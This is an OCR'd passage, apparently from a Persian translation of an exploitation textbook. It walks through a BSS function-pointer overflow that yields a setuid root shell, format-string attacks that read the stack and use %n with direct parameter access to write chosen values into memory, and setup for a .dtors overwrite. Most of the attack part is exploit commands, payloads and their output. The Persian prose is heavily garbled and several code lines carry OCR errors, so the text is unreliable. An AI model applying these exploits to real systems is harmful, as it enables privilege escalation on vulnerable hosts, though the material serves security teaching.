[after strcpy] function ptr @ 0x8049c88: 0x8048662

Playing the game of chance..

10 credits have been subtracted from your account
You picked: 7

Random Value: 6

Sorry, you didn't win this time..

$ ./bss_game 15

-—--DEBUG--

[before strcpy] function ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 15

[after strcpy] function ptr @ 0x8049c88: 0x8048662

Playing the game of chance..

10 credits have been subtracted from your account
You picked: 15

Random Value: 15

You just won the Jjackpot!

100 credits have been added to your account.

$
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$ ./bss _game 12345678901234567890

—-——-DEBUG--

[before strcpy] function ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890

[after strcpy] function ptr @ 0x8049c88: 0x8048600

Illegal instruction

$

$ ./bss_game 12345678901234567890A

—-—-DEBUG--

[before strcpy] function ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890A
[after strcpy] function ptr @ 0x8049c88: 0x8040041

Segmentation fault
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$ ./bss_game 12345678901234567890ABCD

—-—-DEBUG--

[before strcpy] function ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890ABCD
[after strcpy] function ptr @ 0x8049c88: 0x44434241

Segmentation fault

$
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$ nm bss game

08049b60 D DYNAMIC

08049c3c D GLOBAL OFFSET TABLE

080487a4 R IO stdin used
w Jv RegisterClasses
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08049c2c d _ CTOR _END
08049c28 d  CTOR LIST
08049c34 d  DTOR END
08049c30 4  DTOR LIST
08049b5c d  EH FRAME BEGIN
08049b5c d _ FRAME END
08049¢c38 d  JCR END
08049c38 d  JCR LIST
08049c70 A  bss start
08049b50 D  data start
08048740 t  do global ctors aux
08048430 t  do global dtors aux
08049b54 d  dso handle

w _ gmon start

U libc start main@@GLIBC 2.0
08049c70 A edata
08049c8c A end
08048770 T fini
080487a0 R fp hw
08048324 T init
080483e0 T start

U atoi@EGLIBC 2.0
08049c74 b buffer.0
08048404 t call gmon start
08049c70 b completed.l
08049b50 W data start

U exit@EGLIBC 2.0
08048470 t frame dummy
08049c88 b function ptr.l
08048662 T game
0804871c T jackpot
08048498 T main 08049b58 d p.0

U printf@QRGLIBC 2.0

U rand@EGLIBC 2.0

U srand@@GLIBC 2.0

U strcmp@@GLIBC_2.0

U strcpy@@GLIBC 2.0

U time@E@GLIBC_2.0
S

25T Lol cianl 08 Jlanas (55 ¢l 3 il 93816 annl iy phiansST (2l (8122 cmmslio L33 Sy jackpot() gl
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0 )0 printf "\x1¢\x87\x04\x08" & ) gu0

$ ./bss_game 12345678901234567890 'printf "\xlc\x87\x04\x08""'
-—--DEBUG--

[before strcpy] function ptr @ 0x8049c88: 0x8048662

[*] buffer @ 0x8049c74: 12345678901234567890

[after strcpy] function ptr @ 0x8049c88: 0x804871c

You just won the Jjackpot!
100 credits have been added to your account.

$
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$ sudo chown root.root bss_ game
$ sudo chmod u+s bss_game
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$ export SHELLCODE='perl -e 'print "\x90"x18;'"cat shellcode'
$ ./getenvaddr SHELLCODE

SHELLCODE is located at Oxbffffcfe

$ ./bss_game 12345678901234567890'printf "\xfel\xfc\xff\xbf"'
—-—-DEBUG--

[before strcpy] function ptr @ 0x8049c88: 0x8048662

[*] buffer @ 0x8049c74: 12345678901234567890puiy¢

[after strcpy] function ptr @ 0x8049c88: Oxbffffcfe

sh-2.05a# whoami
root
sh-2.05a#

15 Lo 13 (0l Olwlone U g2l Mo 9 3038 IS OT (590 6.5 51 6,2 Jsb 4 385 (o gz 5 ST Lol

$ export SHELLCODE='cat shellcode'

$ ./getenvaddr SHELLCODE

SHELLCODE is located at 0xbffffd90

$ ./bss_game 12345678901234567890'printf "\x94\xfd\xff\xbf"'
-—-DEBUG--

[before strcpy] function ptr @ 0x8049c88: 0x8048662

[*] buffer @ 0x8049c74: 12345678901234567890yy¢

[after strcpy] function ptr @ 0x8049c88: Oxbffffdo4

sh-2.05a# whoami
root
sh-2.05a#
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printf() gU 5 cw)d sl b, .V 9,)

) SO @lgs (] 3igd (oo a3liwl printf() Jud I format function) Cu b gl buwgs Cao )3 b iy
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printf ("You picked: $d\n", user pick);
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fmt example.c code
#include <stdio.h>

int main ()

{
char string[7] = "sample";
int A = -72;
unsigned int B = 31337;
int count one, count two;

// Example of printing with different format string
printf ("[A] Dec: %d, Hex: %x, Unsigned: %Su\n", A, A, A);
printf (" [B] Dec: %d, Hex: %x, Unsigned: %u\n", B, B, B);
printf ("[field width on B] 3: '%3u', 10: '%10u', '%08u'\n", B, B, B);
printf ("[string] %s Address %08x\n", string, string);

// Example of unary address operator and a %x format string
printf ("count one is located at: %08x\n", &count one);
printf ("count two is located at: %08x\n", &count two);

// Example of a %n format string
printf ("The number of bytes written up to this point X%n is being stored
in
count one, and the number of bytes up to here X%n is being stored in
count two.\n",
&count one, &count two);
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printf ("count one: %d\n", count one);
printf ("count two: %d\n", count two);

// Stack Example
printf ("A is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B, &B);

exit (0);
}
13wS g0 030l |) b szl 9 JaleelS 35T )5
$ gcc -o fmt example fmt example.c
$ ./fmt example
[A] Dec: -72, Hex: ffffffb8, Unsigned: 4294967224
[B] Dec: 31337, Hex: 7a69, Unsigned: 31337
[field width on B] 3: '31337', 10: ' 31337', '00031337"
[string] sample Address bffff960
count one is located at: bffff964
count two is located at: bffff960
The number of bytes written up to this point X is being stored in count one,
and
the number of bytes up to here X is being stored in count two.
count one: 46
count two: 113
A is -72 and is at bffff95c. B is 31337 and is at bffff958.
$
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$ pcalc 72

72 0x48 0y1001000
$ pcalc 0y0000000001001000

72 0x438 0y1001000
$ pcalc 0y1111111110110111

65463 Oxffb7 O0y1111111110110111
$ pcalc Oy1111111110110111 + 1

65464 Oxffb8 Oyl1111111110111000
$
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// Example of unary address operator and a %$x format string
printf ("count one is located at: %08x\n", &count one);
printf ("count two is located at: %08x\n", &count two);
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printf ("A is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B, &B);
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printf ("A is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B);
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$ sed -e 's/B, &B)/B)/' fmt example.c > fmt example2.c
$ gcc -o fmt example fmt example2.c
$ ./fmt example
A] Dec: -72, Hex: ffffffb8, Unsigned: 4294967224
B] Dec: 31337, Hex: 7a69, Unsigned: 31337
field width on B] 3: '31337', 10: ' 31337', '00031337"
[string] sample Address bffff970
count one is located at: bffff964
count two is located at: bffff960
The number of bytes written up to this point X is being stored in count one,
and
the number of bytes up to here X is being stored in count two.
count one: 46
count two: 113
A is -72 and is at bffff9%b6c. B is 31337 and is at 00000071.
$
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fmt vuln.c code
#include <stdlib.h>

int main(int argc, char *argv([])
{

char text[1024];

static int test val = -72;

if (argc < 2)

{
printf ("Usage: %s <text to print>\n", argv[0]);
exit (0) ;

}

strcpy (text, argv[l]);

printf ("The right way:\n");

// The right way to print user-controlled input:
printf ("%$s", text);

A R

printf ("\nThe wrong way:\n");
// The wrong way to print user-controlled input:
printf (text);
/] mmmm e
printf ("\n") ;
// Debug output
printf ("[*] test val @ 0x%08x = %d 0x%08x\n", &test val, test val,
test val);

exit (0);

a3 g0 OLis 1) fmt_vuln 4ol u sl 21 9 JoleolS 092 0 5295

$ gcc -o fmt vuln fmt vuln.c

$ sudo chown root.root fmt vuln
$ sudo chmod u+s fmt vuln

$ ./fmt vuln testing

The right way:

testing

The wrong way:

testing

[*] test val @ 0x08049570 = -72 Oxffffffb8
$

4z 2bl o pd el SO (ol by ST Lol 333,55 95 4 testing did) b Gho) 95 b 45 ) (g0 S5 4
OLogS )T 4 08 S5 )Lal 44 03,5 BLsI b 503,S Uil b Caopd el Sl Cuo b @b T33 (o S5isH
O LBl abl il 3929 O T )5 @ Jblie OlogS )T )51 3395 Wb &5 Jsb Olod Lol .3l cuws Bl
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$ ./fmt vuln testing%x
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The right way:

testing%x

The wrong way:

testingbffff5a0

[*] test val @ 0x08049570 = -72 Oxffffffbs8
$

1 siT,8 cpl o2 Ol Jlowws]jEa Cllo 4 didy 3 b F 4elS S5 i o3lisl %X Cuo ol )l 45 ol5in

yai g |y iy didlo b 3,8 Oloiel 1) )5 Olgs oo
$ ./fmt vuln 'perl -e 'print "%08x."x40;"'

The right way:
%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
%08x.%08
x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08
x.%508x.%

08x.%08x.%08x.%08x.%08x.%08x.%08x.

The wrong way:
bffff4e0.000003e8.000003e8.78383025.3830252e.30252e78.252e7838.2e783830.783
83025.38
30252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783
830.7838
3025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e783
8.2e7838
30.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.

252e7838

.2e783830.78383025.3830252e.

[*] test val @ 0x08049570 = -72 Oxffffffb8
$

¥ 4ls o Little Endian g loo )5 45 3wl aiisls bl 40 .l O g0 ol 4 5 ol iy > 7 b
Gl ol 3l aad 1SS 5L 0x2e 9 0x78 0x38 0x30 0x25 sla ol o)l 3929 (weSoe Ojg0 4 L
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$ printf "\x25\x30\x38\x78\x2e\n"
$08x.
$
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S 3) Mo OB S LI Gl 1o OT Ol gub b s> 45 dtdy jl (2l b ) Caod did) 13 (Cadl> algs
35S 23kl Cuapd @G sl OlogS )T Ui sl Olgs o0 E9u090 ol Il 398 (o0 pass (VL (gl L o ysT
%8 Je) 35,8 Jime (by-Reference) gl @ b jl Olisls a3ls 45 sidl awdls 3529 (o8 sl sl )y S|

.x&d,&&Q,A@m&,¢,ooﬂb@3T@6n9
adl> algels (sla s T Ol VAW

) SLa 8315 Olgs g0 032 3,5 3kl dBSl> slgsls (5l 3T O35 gz O3 oo 1) %08 oo pd ol b
23Litl %08 o b yiol )b 41 s T SO Gl sl ol cuo b ani) I o 1 Olg5 oo 13 ils5 1) ool ao b
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$ ./fmt vuln AAAA%08x.%08x.%08x.%08x
The right way:
AAAA%08x.%08x.%08x.%08x
The wrong way:
AAAADff££590.000003e8.000003e8.41414141
[*] test val @ 0x08049570 = -72 Oxffffffb8
$
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$ ./getenvaddr PATH
PATH is located at Oxbffffdlo0
$ pcalc 0x10 + 4
20 Ox14 0y10100
$ ./fmt _vuln 'printf "\x14\xfd\xff\xbf"'%08x.%08x.%08x%s
The right way:
yay:%08x.%08x.%08x%s
The wrong way:
yaycbff£f£480.00000065.00000000/bin: /usr/bin:/usr/local/bin:/opt/bin:/usr/X1
1R6/bin:/

usr/games/bin:/opt/insight/bin:.:/sbin:/usr/sbin:/usr/local/sbin:/home/matr
ix/bin

[*] test val @ 0x08049570 = -72 Oxffffffbs8

$

$ ./fmt _vuln 'printf "\x14\xfd\xff\xbf"'Ssx.%x.%$x%s

The right way:

YAy sx.%x.%x%S

The wrong way:
yvayebffff490.65.0/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/X11R6/bin:/usr/

games/bin
:/opt/insight/bin:.:/sbin:/usr/sbin:/usr/local/sbin:/home/matrix/bin
[*] test val @ 0x08049570 = -72 Oxffffffb8

4ol Jgb 09 ol 42ieF 25liwl PATH o juiio oo T bl ) cag getenvaddr 4ol p jl bxisl s
> 4 e 9 225 BLSI o3 T 4 ol F 13 el getenvaddr pb jl jmeS <ol 95 (fmt_vuln gsy) 40U
DS o O5lgS 4 B9 0 Caopd atd) slaul I (Y08) jral)l aesle -39 (po wsSRe «ub i S g b
Olon iz )3 widT 09z «Cawl 038 Jitio OT 4 @ OlosS )T Olgie 4 45 ol ()3T Olo ol Sl OLS
IS )Ll So JLil & pgmo 3 45 Camwl 23 DLz (F9=0 Olod 4 13 (] PATH o justio o)1
b g0 QL printf() 4 Jhase jusiio
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) L) So Olgie G Olgs g0 |) bl s T ja SiST ol 1 o5kl b . situd jLS 5 90 (1l >
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el )y L 1) SeiS5 Olods Lodians 3,30 Iy algids alidl o 5T Sy il sl 0lsis 1) %68 cao b ol ly S

2300 55 olgses bl sT S5 s pided yobiie 4 Olgd (00 Yon
OLSe «Cal a0 fMt VUIN o3y camw T 40l 13 (215) SISl Sl 3 OT Jlade 9 T a5 test_val jukie
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el o (pl )3 el 4 OB wwl (i aile
$ ./fmt_vuln 'printf "\x70\x95\x04\x08""'%$x.%x.%x%n
The right way:
FX.%BX.%5xX%n
The wrong way:
bffff5a0.3e8.3e8
[*] test val @ 0x08049570 = 20 0x00000014
$ ./fmt _vuln 'printf "\x70\x95\x04\x08"'%08x.%08x.%08x%n
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The right way:

%08x.%08x.%08x%n

The wrong way:

Pf£££590.000003e8.000003e8

[*] test val @ 0x08049570 = 30 0x0000001e
$

Bl 4ot Jladio .3, g 9zl V0N Cao pd ol )b jl osliiwl b Olgs g0 Yo | test_val jusito 4 Canl 5 g9guiine
Olaso Jgb juusti L Olg5 (50 ) o ol 2315 (Sin Y01 1 JuB U ool aidigs sl ol sloss 4o test jusito )
DS s

$ ./fmt vuln 'printf "\x70\x95\x04\x08"'%$x.%x.%100x%n
The right way:
$x.%%x.%100x%n
The wrong way:
bffff5a0.3e8.
3e8
[*] test val @ 0x08049570 = 117 0x00000075
$ ./fmt_vuln 'printf "\x70\x95\x04\x08""'%$x.%x.%183x%n
The right way:
$xX.%x.%183x%n
The wrong way:
bffff5a0.3e8.

[*] test val @ 0x08049570 = 200 0x000000c8

$ ./fmt _vuln 'printf "\x70\x95\x04\x08""'%$x.%x.%238x%n
The right way:

FX.%X.%238x%n

The wrong way:

pffff5a0.3e8.

3e8
[*] test val @ 0x08049570 = 255 0x000000ff
$

otrinn LS diold 31325 Olgd (0 Y01 I Joid )3 Camo p sd pial )y I (S Ol Jgb s 9 (S)SGms b
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bl (glew T 3 abes Joo Jlez SS1.5,5 oolitwl JolS wisT S5 abes Cagz Olgi g0 ) 4S5 ol (b
=8 220 23S gb Olod (g (sl F OlelS jI S 2 03 Olgi (o0 b Cul o5 ol 5 33,5 plovil Jlgie
1wl 23 2OLES Ly gual 4

ol XX XX XX XX isl>
0x08049570 | AA 0000 00 e Jos sl
0x08049571 BB 00 00 00 O Jo yae9d
0x08049572 CC 000000 O gd Jok yaogaw
0x08049573 DD 00 00 00 gl Joo guoslez
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oy
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o=l 35ilg5 50 0X08049573 9 0x08049572 0x08049571 0xX08049570 (sla wisT 43 yabgs Joe Jlez

oogw 0X000000bD 13 syiiig Jos paess 0x0000008a oo zivgs Jos sl -383 plosil ) g
by inlgs 1) 0X000000dd lake yibys Jos oo le Lles  0x000000CC lxio Jos
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$ ./fmt vuln 'printf "\x70\x95\x04\x08""'%$x.%x.%x%n
The right way:
FX.5X.BX3N
The wrong way:
pbffff5a0.3e8.3e8
[*] test val @ 0x08049570 = 20 0x00000014
$ pcalc 20 - 3

17 0x11 0y10001
$ pcalc Oxaa - 17
153 0x99 0y10011001

$ ./fmt _vuln 'printf "\x70\x95\x04\x08"'%$x.%x.%153x%n
The right way:
$X.%x.%153x%n
The wrong way:
pffff5a0.3e8.

3e8
[*] test val @ 0x08049570 = 170 0x000000aa
$
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0x08049770 0x08049771 0x08049772 0x08049773
709704087 v N k[711970408|7 v N K|12970408|7 v N x|73970408
S Olxtol YL SO OS]

$ ./fmt _vuln 'printf
"\x70\x95\x04\x08JUNK\x71\x95\x04\x08JUNK\x72\x95\x04\x08JUNK\x73\x95\x04\x
08"'%x.%

X.%xX%n

The right way:

JUNKJUNKJUNKSX . %X .%X%n

The wrong way:

JUNKJUNKJUNKbfff£580.3e8.3e8

[*] test val @ 0x08049570 = 44 0x0000002c

$ pcalc 44 - 3

41 0x29 0y101001
$ pcalc Oxaa - 41
129 0x81 0y10000001

$ ./fmt vuln 'printf
"\x70\x95\x04\x08JUNK\x71\x95\x04\x08JUNK\x72\x95\x04\x08JUNK\x73\x95\x04\x
08"'%$x.%

x.%129x%n

The right way:

JUNKJUNKJUNKSx.%x.%129x%n

The wrong way:

JUNKJUNKJUNKbf£££580.3e8.

3e8
[*] test val @ 0x08049570 = 170 0x000000aa
$
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IS o=l faL?u| Sl SS9 U093 S danloe 1330 ) Jladio ol (L8 jh9) Olod b Olgs (oo ol .3ias (so junsts
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$ pcalc Oxbb - 0Oxaa
17 Ox11 0y10001

$ ./fmt _vuln 'printf
"\x70\x95\x04\x08JUNK\x71\x95\x04\x08JUNK\x72\x95\x04\x08JUNK\x73\x95\x04\x
08" '%$x.%
X.%129x%n%17x%n
The right way:
JUNKJUNKJUNKSx.%$x.%129x%n%17x%n
The wrong way:
JUNKJUNKJUNKbff£f£580.3e8.

3e8 4bdeb554a
[*] test val @ 0x08049570 = 48042 0x0000bbaa
$

22 o Ol 17 lie Olus puble S .l 0xBB ,lado «cub o2 ol PSL5|)'.' 3 b5 5 g0 ylado
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DS IS o gl Joo e lez 9 megw Sl Ol (g0 L 2218 )

$ pcalc Oxcc - 0xbb
17 0x11 0y10001

$ ./fmt vuln 'printf
"\x70\x95\x04\x08JUNK\x71\x95\x04\x08JUNK\x72\x95\x04\x08JUNK\x73\x95\x04\x
08"'%x.%
X.%129x%n%17x%n%17x%n
The right way:

OA



JUNKJUNKJUNKSx.%x.%129x%n%17x%n%17x%n
The wrong way:
JUNKJUNKJUNKbff£f£570.3e8.

3e8 4b4eb554a 4b4eb554a
[*] test val @ 0x08049570 = 13417386 0x00ccbbaa
$ pcalc Oxdd - Oxcc

17 0x11 0y10001

$ ./fmt vuln 'printf
"\x70\x95\x04\x08JUNK\x71\x95\x04\x08JUNK\x72\x95\x04\x08JUNK\x73\x95\x04\x
08"'%$x.%
X.%129x%n%17x%n%17x%n%$17x%n
The right way:
JUNKJUNKJUNKSx.%x.%129x%n%17x%n%17x%n%17x%n
The wrong way:
JUNKJUNKJUNKbff££570.3e8.

3e8 4bdeb554a 4bdeb554a 4bdeb554a
[*] test val @ 0x08049570 = -573785174 Oxddccbbaa
S

Bl 3T pd 43 Ols (g0 1 JolS oo T Sy (yadgs Jos lex plomil 9 Sy 525 Gl S 035 DS b
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$ sed -e 's/72;/72, next val = 0x11111111;/;/@/{h;s/test/next/g;x;G}"
fmt vuln.c >

fmt vuln2.c

$ diff fmt vuln.c fmt vuln2.c

6Cc6

) static int test val = -72;

> static int test val = -72, next val = 0x11111111;

27a28

> printf ("[*] next val @ 0x%08x = %d 0x%08x\n", &next val, next val,

next val);

$ gcc -o fmt vuln2 fmt vuln2.c
$ ./fmt vuln2 test

The right way:

test

The wrong way:

test

[*] test val @ 0x080495d0 = -72 Oxffffffb8

[*] next val @ 0x080495d4 286331153 0x11111111
2B 3 Camwl 03 juwi tSt VAl jusio w3 T juald o 35 )3 juaid camwl 3900800 Vb (29,5 13 45 y3b Olod
L wnT S 33mo opidgs Camwl test_val juiio 40 yslowe NEXt_Val jusio dbidl> )5 45 Cawl 3940 JL>
2T g0 Jl5 4 93 o el test_val jusio )5 3933 wisT jl asliswl
28 )0 B Cob il Eab d 09z .S 13 osliswl 390 Oxddecbbaa s aslw GwisT S b T
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Y0 3ol laol Yon caopd jrol)l jl o3kl b (0XCD) cob opulsl oyiibgs sgbiso 4« wisT 2l b $3,8 b 4z
o=l 398 byl 29,5 4 ol 1Y) 2L (0XAB) s cub g sl oST Lol .3gd Jlw )l s>9 5 4 Cob
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$ ./fmt _vuln2 AAAASX.%X.%X.
The right way:
AAAASX.%X.%X.5%X

The wrong way:
AAAAbffff5a0.3e8.3e8.41414141

[*] test val @ 0x080495d0 = -72 Oxffffffbs8

[*] next val @ 0x080495d4 = 286331153 0x11111111

$ ./fmt vuln2 'printf
"\xd0\x95\x04\x08JUNK\xd1\x95\x04\x08JUNK\xd2\x95\x04\x08JUNK\xd3\x95\x04\x
08"'%$x.%

X.%X.%n

The right way:

JUNKJUNKJUNKSX . %X .%X.%n

The wrong way:

JUNKJUNKJUNKbfff£f580.3e8.3e8.

[*] test val @ 0x080495d0 = 45 0x0000002d

[*] next val @ 0x080495d4 = 286331153 0x11111111

$ pcalc 45 - 3

X

42 O0x2a 0y101010
$ pcalc Oxcd - 42
163 Oxa3 0y10100011

$ ./fmt vuln2 'printf
"\xd0\x95\x04\x08JUNK\xd1\x95\x04\x08JUNK\xd2\x95\x04\x08JUNK\xd3\x95\x04\x
08"'%x.%

X.%163x.%n

The right way:

JUNKJUNKJUNKSx.%x.%163x.%n

The wrong way:

JUNKJUNKJUNKbf£f££580.3e8.

3e8.

[*] test val @ 0x080495d0 = 205 0x000000cd
[*] next val @ 0x080495d4 = 286331153 0x11111111
$
$ pcalc Oxab - 0Oxcd

-34 Oxffffffde 0y11111111111111111111111111011110
$ pcalc Oxlab - Oxcd

222 Oxde 0y11011110

$ ./fmt vuln2 'printf

"\xd0\x95\x04\x08JUNK\xd1\x95\x04 \x08JUNK\xd2\x95\x04\x08JUNK\xd3\x95\x04\x
08"'%$x.%

X.%163x.%n%222x%n

The right way:

JUNKJUNKJUNKSx.%x.%163x.%n%222x%n

The wrong way:

JUNKJUNKJUNKbf£££580.3e8.

3e8.

4dbde554a

[*] test val @ 0x080495d0 = 109517 0x000labcd
[*] next val @ 0x080495d4 = 286331136 0x11111100
$
$ pcalc 0x06 - 0Oxab
-165 Oxffffff5b O0yl11111111111111111111111101011011
$ pcalc 0x106 - Oxab
91 0x5b 0y1011011

$ ./fmt vuln2 'printf
"\xd0\x95\x04\x08JUNK\xd1\x95\x04\x08JUNK\xd2\x95\x04\x08JUNK\xd3\x95\x04\x
08"'%x.%
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x.%163x.%n%222x%n%91x%n

The right way:
JUNKJUNKJUNKSx.%$x.%163x.%n%222x%n%91x%n
The wrong way:
JUNKJUNKJUNKbff£f£570.3e8.

3e8.
4bde554a

4b4e554a
[*] test val @ 0x080495d0 = 33991629 0x0206abcd
[*] next val @ 0x080495d4 286326784 0x11110000
$
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$ pcalc 0x08 - 0x06
2 0x2 Oy1l0
$ ./fmt vuln2 'printf
"\xd0\x95\x04\x08JUNK\xd1\x95\x04\x08JUNK\xd2\x95\x04\x08JUNK\xd3\x95\x04\x
08"'%$x.%
x.%163%x.%n%222x%n%91x%Nn%2x%n
The right way:
JUNKJUNKJUNK%xX.%x.%163x.%n%222x%n%91x%n%2x%n
The wrong way:
JUNKJUNKJUNKbff£f£570.3e0.

3e8.

4dbde554a
4bde554a4bde554a
[*] test val @ 0x080495d0 235318221 0x0elObabcd
[*] next val @ 0x080495d4 = 285212674 0x11000002
$
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$ pcalc 0x108 - 0x06
258 0x102 0y100000010
$ ./fmt vuln2 'printf
"\xd0\x95\x04\x08JUNK\xd1\x95\x04\x08JUNK\xd2\x95\x04\x08JUNK\xd3\x95\x04\x
08"'%$x.%
X.%163x.%Nn%222x%n%91x%n%258x%n
The right way:
JUNKJUNKJUNKSx.%x.%163x.%n%222x%n%91x%n%258x%n
The wrong way:
JUNKJUNKJUNKbff£££570.3e8.

3e8.

4dbde554a
4db4e554a

4b4eb554a
[*] test val @ 0x080495d0 = 134654925 0x0806abcd
[*] next val @ 0x080495d4 = 285212675 0x11000003
$
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printf ("7th: %7$d, 4th: %4$05d\n", 10, 20, 30, 40, 50, 60, 70, 80);
sl ) D90 4 G Printf() @b Sls>1)d o295

7th: 70, 4th: 00040
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$ ./fmt _vuln AAAASX.%$X.%X.%X

The right way:

AAAATX . BX.BX. X

The wrong way:
AAAALffff5a0.3e8.3e8.41414141

[*] test val @ 0x08049570 = -72 Oxffffffb8
$ ./fmt _vuln AAAA%S4\S$x

The right way:

AAAAS4ASX

The wrong way:

AAAA41414141

[*] test val @ 0x08049570 = -72 Oxffffffb8
$
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S0 U paitens Jsb 4 315 0 395 o0 IS 4 B3b (ol Sl pr Vgaso 45 %X Can (5l ol )y | Sy b cCarnas
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$ ./fmt _vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08" '$3\$x%4\
$n
The right way:
$35x%45n
The wrong way:
3e8
[*] test val @ 0x08049570 = 19 0x00000013
$ pcalc 0x72 - 16
98 0x62 0y1100010
$ ./fmt _vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08" '$3\$98x%
4\$n
The right way:
%$3598x%4S5n
The wrong way:

3e8
[*] test val @ 0x08049570 = 114 0x00000072
$
$ pcalc 0Oxfd - 0x72
139 0x8b 0y10001011
$ ./fmt vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08""'$3\598x%
4\$n%3\$
139x%%5\$n
The right way:
%$3598x%45n%35139%x%5%n
The wrong way:

3e8
3e8

[*] test val @ 0x08049570 = 64882 0x0000£d72
$
$ pcalc Oxff - Oxfd

2 0x2 0yl0
$ pcalc 0x1ff - Oxfd

258 0x102 0y100000010

$ ./fmt _vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08""$3\$98x%
4\$n%3\$

139x%5\5n%3\$258x%6\Sn

The right way:

%$3598x%45n%35139x%55n%35258x%65n

The wrong way:

3e8
3e8
3e8

[*] test val @ 0x08049570 = 33553778 0x01fffd72
$
$ pcalc Oxbf - Oxff

-64 OxffffffcO 0y111111111111111121111111111000000
$ pcalc Oxlbf - Oxff

192 0xcO 0y11000000

$ ./fmt _vuln 'printf
"\x70\x95\x04\x08\x71\x95\x04\x08\x72\x95\x04\x08\x73\x95\x04\x08""'$3\$98x%
4\$n%3\$
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139x%5\5n%3\$258x%6\5n%3\$192x%7\$n

The right way:
$3598x%45n%35139%%55n%35258x%65n%3$192x%75n
The wrong way:

3e8
3e8

3e8
3e8
[*] test val @ 0x08049570 = -1073742478 Oxbffffd72
$
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dtors sample.c code

#include <stdlib.h>

static void cleanup(void) _ attribute  ((destructor));

main ()

{
printf ("Some actions happen in the main() function..\n");
printf ("and then when main() exits, the destructor is called..\n");

exit (0);
}

void cleanup (void)

{

printf ("In the cleanup function now..\n");

}
Cagzr) MAIN L5 z9 5 Jl gug 13 el paud iy 25 (S 5S35 Cuio @ cleanup() @b b diges 35,5

ol Sggine Uimno (2l 22J 3 398 (o0 =l Y8395 g0 4 R (ol (Jole i 4 CuiS L
$ gcc -o dtors_sample dtors sample.c

$ ./dtors_sample
Some actions happen in the main() function..
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and then when main() exits, the destructor is called..
In the cleanup function now..

$

Do o J pS (s 2l s dtors fgggo. oisu b (eXit) g9 ,5 Oloj o> @U S L8395 sl s S, ()

03T 03 dicen T a0l 48l 45l oy w31 S L &S sl (G VY sl oo Tl sl T Gisu ol

Ol golys plaos sl w3 T LgsT o 45 (uby g0 OLL 0X00000000 Zgy yws3TL 9 25 g9 b OXFFFFFFFT

2313 3929 (S 2ES S ol Lok
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D0 )50 b

$ nm ./dtors_sample

08049440
080495b0
08048404

0804959c¢
08049598
080495a8
080495a0
080494cc
080494cc
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080494c0
080483b0
08048300
080494c4

080495cc
080495d0
080483e0
08048400
08048254
080482b0
080482d4
0804839c¢c
080495cc
080494c0
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08048368
080494c8
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_ DYNAMIC

_GLOBAL OFFSET TABLE
IO stdin used
_Jv_RegisterClasses

_ CTOR _END

__ CTOR LIST
__DTOR_END
__DTOR_LIST _

__EH FRAME BEGIN
__FRAME END

__ JCR_END_

_ JCR LIST

__bss start

__data_ start

__do global ctors aux
__do global dtors aux
__dso_handle
__gmon_start
__libc start main@@GLIBC 2.0
_edata

_end

_fini

_fp hw

_init

_start

call gmon start
cleanup

completed.l

data_ start
exit@@GLIBC 2.0

frame dummy

main

p-.0

printf@EGLIBC 2.0

$ objdump -s -j .dtors ./dtors sample

./dtors_sample: file format elf32-1386
Contents of section .dtors:
80495a0 ffffffff 9c¢830408 00000000 ...,

$
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2l i 23 35750 T lads paizzon 25b 000000000 b ol s 0x08049588 )T lsie 9 OXFFFFFFTF
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ol oS S35l Gl (S0 (5295 (pal 42 5103135 o0 Jiulos 4 1) dtOrs isw =8lg (slgixe ObjdUmMp giws
b e OT Sl gy 9 Sl 2313 QLS 1) .dLOTS ey £9 0 Joxo (S 5w 4 8049520 o .3 T s 4 22S
Olg o ST 95 ol 85 L5 o L .(siiud weSas O g0 4 b Cob ko) il aad 03l o led > sl

ol B S2iS ol oS ol 2
L 4ol 0 s )ad o) p2 900 13 sl OT (Writable) 039 oadgs JilB .dtOrs isu Js> o oo 9 4S5

Cawl 2325 (5135 canzz 0 READONLY olgie b .dtors i 45 395 panlss objdump
$ objdump -h ./dtors sample

./dtors_sample: file format elf32-1386

Sections:

Idx Name Size VMA LMA File off Algn
0 .interp 00000013 080480f4 080480f4 000000f4 2**0

CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020 08048108 08048108 00000108 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA

2 .hash 0000002c 08048128 08048128 00000128 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA

3 .dynsym 00000060 08048154 08048154 00000154 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA

4 .dynstr 00000051 080481b4 080481b4 000001b4 2**0

CONTENTS, ALLOC, LOAD, READONLY, DATA

5 .gnu.version 0000000c 08048206 08048206 00000206 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA

6 .gnu.version r 00000020 08048214 08048214 00000214 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA

7 .rel.dyn 00000008 08048234 08048234 00000234 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .rel.plt 00000018 0804823c 0804823c 0000023c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .init 00000018 08048254 08048254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
10 .plt 00000040 0804826c 0804826c 0000026c 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
